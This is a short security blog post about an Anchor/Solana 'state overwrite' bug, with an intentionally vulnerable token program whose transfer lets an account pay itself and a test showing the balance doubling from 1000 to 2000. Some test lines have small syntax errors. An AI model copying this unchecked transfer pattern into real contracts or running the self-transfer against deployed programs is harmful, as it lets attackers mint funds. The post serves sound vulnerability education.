Anchor State Overwrite

Sup?!

Hey, there! It has been a long time since I have written a blog. I have been deep diving into blockchain security this whole time. I have learnt many security concepts both in solidity and rust/anchor. This blog describes a unique vulnerability in anchor, which was reported by my senior @S3v3ru5 in Woofi contest in Sherlock. Here is the link to the original blog: Link I found this vulnerability interesting and tested it out.

Vulnerability

Consider the following example vulnerable implementation of a token program written using the Anchor framework. The transfer instruction is vulnerable to state-overwrite: executing a self-transfer increases the caller's balance without any deductions.

Program:

use anchor_lang::prelude::*;

declare_id!("GHuwyV6T3RVnCn3tPzGMzeqa7KbZv4Kf1vYTmDMnVSN1");

#[program]
pub mod vulnerable_token {
    use super::*;

    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
        ctx.accounts.new_account.authority = ctx.accounts.signer.key();
        ctx.accounts.new_account.balance = 1000;
        Ok(())
    }

    pub fn transfer(ctx: Context<Transfer>, amount: u64) -> Result<()> {
        ctx.accounts.sender.balance -= amount;
        ctx.accounts.receiver.balance += amount;
        Ok(())
    }
}

#[derive(Accounts)]
pub struct Transfer<'info> {
    #[account(mut)]
    pub authority: Signer<'info>,
    #[account(
        mut,
        has_one = authority,
    )]
    pub sender: Account<'info, TokenHolder>,
    #[account(mut)]
    pub receiver: Account<'info, TokenHolder>,
}

#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(
        init,
        payer = signer,
        space = 8 + TokenHolder::INIT_SPACE,
        seeds = [signer.key().as_ref()],
        bump,
    )]
    pub new_account: Account<'info, TokenHolder>,
    #[account(mut)]
    pub signer: Signer<'info>,
    pub system_program: Program<'info, System>,
}

#[account]
#[derive(InitSpace)]
pub struct TokenHolder {
    authority: Pubkey,
    balance: u64,
}
Test:

  import * as anchor from '@coral-xyz/anchor'
  import Program from '@coral-xyz/anchor'
  import PublicKey from '@solana/web3.js'
  import Testing from '../target/types/testing'
  
  describe('testing', () => {
    // Configure the client to use the local cluster.
    const provider = anchor.AnchorProvider.env()
    anchor.setProvider(provider)
    const payer = provider.wallet as anchor.Wallet
  
    const program = anchor.workspace.Testing as Program<Testing>
  
    it('Initialize Testing', async () > {
       await program.methods.initialize()
        .accounts({
          signer: payer.publicKey,
        })
        .signers([payer.payer])
        .rpc()
  
      const [tokenInfo] = PublicKey.findProgramAddressSync(
        [payer.publicKey.toBuffer()],
        program.programId
      )
  
      const preBalance = await program.account.tokenHolder.fetch(tokenInfo)
      console.log("Before transfer: ", preBalance.balance.toNumber())
  
      await program.methods.transfer(new anchor.BN(1000))
        .accounts({
          sender: tokenInfo,
          receiver: tokenInfo
        })
        .signers([payer.payer])
        .rpc()
  
      const postBalance = await program.account.tokenHolder.fetch(tokenInfo)
  
      console.log("After transfer: ", postBalance.balance.toNumber())
  
      console.table({ "Before transfer: ": preBalance.balance.toNumber(), "After transfer: ": postBalance.balance.toNumber })
    })
  })
  

After running the above test, the output will be the following:

Output:
Anchor State Overwrite

You can see that, after the transfer, the balance has been updated to 2000, which is expected to be 1000.


TFCCTF Writeups